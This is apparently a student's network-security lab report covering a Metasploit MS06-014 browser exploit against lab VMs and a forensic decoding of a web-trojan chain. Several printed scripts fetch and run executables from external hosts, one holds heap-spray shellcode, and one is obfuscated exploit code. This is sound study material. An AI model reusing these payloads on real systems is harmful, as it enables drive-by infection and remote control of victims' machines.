20211916 2021-2022-2 《网络攻防实践》第十一次作业

1.实践内容

一、Web安全介绍

1.1 什么是Web应用

Web应用是由动态脚本、编译过的代码等组合而成。它通常架设在Web服务器上,用户在Web浏览器上发送请求,这些请求使用HTTP协议,经过因特网和企业的Web应用交互,由Web应用和企业后台的数据库及其他动态内容通信。

1.2 Web应用的架构

尽管不同的企业会有不同的Web环境搭建方式,一个典型的Web应用通常是标准的三层架构模型。

在这种最常见的模型中,客户端是第一层;使用动态Web内容技术的部分属于中间层;数据库是第三层。用户通过Web浏览器发送请求( request)给中间层,由中间层将用户的请求转换为对后台数据的查询或是更新,并将最终的结果在浏览器上展示给用户。

二、Web安全渗透测试分析

2.1 什么是Web渗透测试

渗透测试( Penetration Test)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试能够直观的让管理人员知道自己网络所面临的问题。而Web渗透测试主要是对Web应用程序和相应的软硬件设备配置的安全性进行测试。

进行Web渗透测试的安全人员必须遵循一定的渗透测试准则,不能对被测系统进行破坏活动Web安全渗透测试一般是经过客户授权的,采用可控制、非破坏性质的方法和手段发现目标服务器、Web应用程序和网络配置中存在的弱点。它的适用范围即可以在Web系统发布之前进行安全测试,也可以在系统发布之后,持续跟踪渗透测试Web系统,从而在最大限度上保证Web系统的安全。

2.2 web安全渗透测试分类

实际上,渗透测试并没有严格的分类方式。

2.2.1 根据渗透类别分类:

1)黑箱测试

黑箱测试又被称为所谓的“Zero-Knowledge Testing”,渗透者处于完全对系统一无所知的状态,通常这类型测试,最初的信息获取来自于DNS、Web、 Email及各种公开对外的服务器。

  1. 白盒测试

白盒测试与黑箱测试恰恰相反,测试者可以通过正常渠道向被测单位取得各种资料,包括网络拓扑、员工资料甚至网站或其它程序的代码片断,也能够与单位的其它员工(程序员管理者等)进行面对面的沟通。

2.2.2 根据渗透目标分类:

  1. 主机操作系统渗透

对 Windows、 Solaris、AIX、 Linux、SCO、SGl等操作系统本身进行渗透测试。

  1. 数据库系统渗透

对MS-SQL、 Oracle, MySQL、 Informix、 Sybase、DB2等数据库应用系统进行渗透测试。

  1. 应用系统渗透

对渗透目标提供的各种应用程序,如ASP、JSP、PP等组成的WWW应用程序进行渗透测试。

  1. 网络设备渗透

对各种防火墙、入侵检测系统、网络设备进行渗透测试。

三、网页木马

3.1 工作原理

客户端/服务端之间采用TCP/UDP的通信方式,攻击者控制的是相应的客户端程序,服务器端程序是木马程序,木马程序被植人到毫不知情的用户的计算机中。以“里应外合”的工作方式工作,服务程序通过打开特定的端口并进行监听,这些端口好像“后门”一样,所以,也有人把特洛伊木马叫做后门工具。攻击者所掌握的客户端程序向该端口发出请求( Connect Request),木马便与其连接起来。攻击者可以使用控制器进人计算机,通过客户端程序命令达到控制服务器端的目的。

3.2 木马攻击步骤

1)配置木马
一般来说,一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两个功能。
(1)木马伪装:木马配置程序为了在服务器端尽可能隐藏好,会采用多种伪装手段,如修改图标、捆绑文件、定制端口、自我销毁等。
(2)信息反馈:木马配置程序会根据信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址、IRC号、ICQ号等。

2)传播木马
配置好木马后,就要传播出去。木马的传播方式主要有:控制端通过E-mail将木马程序以附件的形式夹在邮件中发送出去,收信人只要打开附件就会感染木马;软件下载,一些非正规的网站以提供软件下载为名义,将木马捆绑在软件安装程序上,下载后,只要运行这些程序,木马就会自动安装;通过QQ等通信软件进行传播;通过病毒的夹带把木传播出去。

3)启动木马
木马程序传播给对方后,接下来是启动木马。一种方式是被动地等待木马或捆绑木马的程序被主动运行,这是最简单的木马。大多数首先将自身复制到Windows的系统文件夹中(C:Windows或C:\Windows\system32目录下),然后写人注册表启动组,非启动组中设置好木马的触发条件,这样木马的安装就完成了。一般系统重新启动时木马就可以启动,然后木马打开端口,等待连接。

4)建立连接
一个木马连接的建立必须满足两个条件:一是服务器端已安装了木马程序;二是控制 端、服务器端都要在线。在此基础上控制端可以通讨木马端口与服务器端建立连接。控制端可以根据提前配置的服务器地址、定制端口来建立连接;或者是用扫描器,根据扫描结果中检测哪些计算机的某个端口开放,从而知道该计算机里某类木马的服务器端在运行,然后建立连接;或者根据服务器端主动发回来的信息知道服务器端的地址、端口,然后建立连接。

5)远程控制
前面的步骤完成之后,就是最后的目的阶段,对服务器端进行远程控制,实现窃取密码、文件操作、修改注册表、锁住服务器端及系统操作等。

2.实践过程

(1)web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

    ①选择使用Metasploit中的MS06-014渗透攻击模块

    ②选择PAYLOAD为任意远程Shell连接

    ③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

    ④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

    ⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

实验环境:

攻击机:kali, ip地址:192.168.200.6
靶机1:win2k,ip地址:192.168.192.124
靶机2:winxpattacker,IP地址:192.168.200.2

首先确保攻击机和靶机能互相PING通

攻击机和靶机1:

攻击机和靶机2:

使用Metasploit中的MS06-014渗透攻击模块:

首先在攻击机kali终端输入msfconsole

开始搜索MS06-014漏洞 search MS06-014,发现只有一个可攻击的模块,那么我们就选择它:

选择use 0,对该模块进行攻击:

接下来设置>>攻击机地址set LHOST 192.168.200.6 >>set payload windows/shell/bind_tcp>>exploit

生成了网址:http://192.168.200.6:8080/JDT4aYv,我们在win2k靶机游览器中访问该网址:

返回kali,看到建立了如下会话:

最后我们来验证会话是否有效,使用指令sessions -i 1打开会话,此时攻击机即可在靶机上执行命令:

ipconfig命令可以查看靶机地址:

(2)取证分析实践—网页木马攻击场景分析

实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

⑤重复以上过程直到这些文件被全部分析完成。

首先下载老师发在云班课上的网页挂马PDF文件,可以找到两处new09.htm,其中 start.html中引用 new09.htm时没有使用绝对路径,说明new09.htm和start.html在同一目录下。

我们可以看到 new09.htm 文件中,用 iframe 引用了一个 http://aa.18dd.net/aa/kl.htm 文件, 又用 javascript 引用了一个 http://js.users.51.la/1299644.js 文件。

分别对这两个链接做MD5散列,游览器搜索MD5计算器进行散列计算;

得到7F60672DCD6B5E90B6772545EE219BD3

得到23180A42A2FF1192150231B44FFDF3D3

用记事本打开以上两个文件:

23180a42a2ff1192150231b44ffdf3d3不是我们要得到的,所以我们看另一个文件。

查看7f60672dcd6b5e90b6772545ee219bd3,实际上这是XXTEA加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。

因此我们要去找加密的密钥,在文件的倒数第三行:

密钥为“\x73\x63\x72\x69\x70\x74”

xxtea_函数的第二个参数就是密钥。不过只是简单地使用了16进制加密,因此用进制在线加解密转换一下,密钥是“script”。

进入https://cycy.sourceforge.io/xxtea/ 去进行这个文件的xxtea解密;

将记事本中的内容复制进来然后使用script密钥解密,解密如下:

再把解密出来的文件,用十六进制在线解密得到如下代码:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/1.js></script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/b.js></script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

用得到的url到游览器去做md5散列,得到md5散列值:

http://aa.18dd.net/aa/1.js 》》》5d7e9058a857aa2abee820d5473c5fa4

相同的,如上图继续做md5解密:

http://aa.18dd.net/aa/b.js 》》》3870c28cc279d457746b3796a262f166

http://aa.18dd.net/aa/pps.js 》》》5f0b8bf0385314dbe0e5ec95e6abedc2

http://down.18dd.net/bb/bd.cab 》》》1c1d7b3539a617517c49eee4120783b2

1、http://aa.18dd.net/aa/1.js 》》》5d7e9058a857aa2abee820d5473c5fa4

与之前步骤相同,打开文件;首先是http://aa.18dd.net/aa/1.js,进行16进制解密

可以看到一个url为http://down.18dd.net/bb/014.exe可执行文件,后面部分就是下载了这个可执行文件;

2、http://aa.18dd.net/aa/b.js 》》》3870c28cc279d457746b3796a262f166

接下来再看:http://aa.18dd.net/aa/b.js

由红框所指部分我们进行猜测,这可能是一种packed加密方法,我们进行packed解密:

看到shellcode,表明这是二进制的程序代码,我们要找URL,则其中必然出现的斜线“/”,“/”的十六进制ASCII码是2F,那么我们就在这段shellcode中找“/”,即2F:

取2f出现次数最多的一段数值,将这段数值0x74,0x68, 0x70,0x74, 0x2f,0x3a, 0x64,0x2f, 0x77,0x6f, 0x2e,0x6e, 0x38,0x31, 0x64,0x64, 0x6e,0x2e, 0x74,0x65, 0x62,0x2f, 0x2f,0x62, 0x66,0x62, 0x65,0x2e, 0x65,0x78, 0x00,0x00进行十六进制解密,先转换为\x74\x68\x70\x74\x2f\x3a\x64\x2f\x77\x6f\x2e\x6e\x38\x31\x64\x64\x6e\x2e\x74\x65\x62\x2f\x2f\x62\x66\x62\x65\x2e\x65\x78\x00\x00

得到url:http://down.18dd.net/bb/bf.exe

进行md5散列,得到: 268cbd59fbed235f6cf6b41b92b03f8e

3、http://aa.18dd.net/aa/pps.js 》》》5f0b8bf0385314dbe0e5ec95e6abedc2

我们再接着来看:http://aa.18dd.net/aa/pps.js

这个是八进制,因此要先转换十六进制再解密

/%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

同刚刚用过的方法,找url>>找2f,进行解密,确定链接为:http://down.18dd.net/bb/pps.exe

4、http://down.18dd.net/bb/bd.cab 》》》1c1d7b3539a617517c49eee4120783b2

最后再来看:http://down.18dd.net/bb/bd.cab

我们一共得到了四个exe文件:

014.exe 
bf.exe 
pps.exe 
bd.exe

并计算他们的MD5值,MD5值完全一样,因此可以知道这四个文件内容完全相同。

因此可以只分析一个,用winXPAttacker上的PEiD分析 bd.exe 》》》现更名为20211916tanli---bd.exe

由图可知即,是使用Delphi编写的GUI程序。

用W32DAsm反编译打开20211916tanli---bd.exe,打开右上角的串式参考

1)从AutoRun] open=,AutoRun.inf这几个命令中,这个程序可能会有一些自动启动,自动运行自动备份等木马功能。

2)再往下,可以看到这里有很多URL,可以下载各种木马:

3)由下图,我们能猜测该程序下要攻击IE、注册表、服务和系统文件。

4)继续往下可以看到"瑞星卡卡上网安全助手 - IE 防漏墙", "允许","允许执行",由此可见这个程序有防系统保护软件的能力。

(3)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

kali作为攻击方,重复实践一的步骤。生成了一个url链接http://192.168.200.6:8080/8rNqZN5uUSS

攻击方发送邮件给防守方,并打开wireshark进行实时抓包:

通过靶机win2k接收此邮件,打开此url链接,可以得到:

然后在攻击机上用wireshark捕获如下内容:

可以得到如下源码

<html><head><title></title>
<scriptlanguage="javascript">
functionpVcQptuXtURkI(o,n)
{varr=null;
	try{eval("r=o"+".C"+"re"+"ate"+"Ob"+"je"+"ct(n)")}
	catch(e){}
	if(!r)
	{try{eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')")}
	catch(e){}}if(!r)
	{try{eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'','')")}catch(e){}}
	if(!r){try{eval("r=o"+".Ge"+"tOb"+"je"+"ct('',n)")}catch(e){}}
	if(!r){try{eval("r=o"+".Ge"+"tOb"+"ject(n,'')")}catch(e){}}
	if(!r){try{eval("r=o"+".Ge"+"tOb"+"ject(n)")}catch(e){}}
	return(r);}
functionKICnWOyGLGaPMnBBSTFqivHOpkic(a)
{vars=pVcQptuXtURkI(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
varo=pVcQptuXtURkI(a,"A"+"DO"+"D"+"B.S"+"tr"+"eam");
vare=s.Environment("P"+"ro"+"ce"+"ss");
varurl=document.location+'/p'+'ay'+'lo'+'ad';varxml=null;
varbin=e.Item("T"+"E"+"M"+"P")+"\\ujOvdPBAnxoLeaHiExeg"+".e"+"xe";
vardat;try{xml=newXMLHttpRequest();}
catch(e){try{xml=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xml=newActiveXObject("MSXML2.ServerXMLHTTP");}}
if(!xml){return(0);}
xml.open("GET",url,false);
xml.send(null);
dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0);}
functionKgYOUdGGjoLHKdVQmjepXovpiiN()
{var i=0;
var t=newArray(
'{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}',
'{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}',
'{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}',
'{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+'-'+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}',
'{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}',
'{'+'0'+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}',
'{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}',
'{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}',
'{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}',
'{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}',
'{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}',
'{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',
'{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',null);
while(t[i])
{vara=null;
if(t[i].substring(0,1)=='{')
{a=document.createElement("object");
a.setAttribute("cl"+"as"+"sid","cl"+"s"+"id"+":"+t[i].substring(1,t[i].length-1));}
else{try{a=newActiveXObject(t[i]);}catch(e){}}
if(a)
{try{varb=pVcQptuXtURkI(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");if(b){KICnWOyGLGaPMnBBSTFqivHOpkic(a);return(0);}}
catch(e){}}i++;}}
</script></head><bodyonload='KgYOUdGGjoLHKdVQmjepXovpiiN()'>KlfoGjq</body></html>

阅读上面的源码,可以看到其中使用到document.location加载了payload,并且下一行中后面跟了一个可执行文件ujOvdPBAnxoLeaHiExeg.exe,我们可以进行猜想,这个exe文件应该是以攻击机为服务器,通过网页游览下载到靶机win2k上,并且进行自动运行。

通过格式化上面的源码可以发现:

漏洞MS06-014中的clsid变量为BD96C556-65A3-11D0-983A-00C04FC29E36,可知攻击者利用的漏洞即为MS06-014。

3.学习中遇到的问题及解决

  • 问题1:一开始实践一未成功,发现是没有成功使用use 0。

  • 问题1解决方案:如下图,要到正确的地方使用use 0,因为第一次use 0是进入了默认的地址,使用两次use 0才能攻击成功。

4.实践总结

这次实践需要耐心分析,一步步慢慢来,其实看起来繁琐,但是耐心下来很快也就做完了,这个实践使我懂得了网页木马的分析取证是怎么一步步实现的,同时,让我更加警惕网页上的木马攻击。

参考资料

posted @ 2022-05-28 14:57  banlichestnut  阅读(2)  评论(0编辑  收藏  举报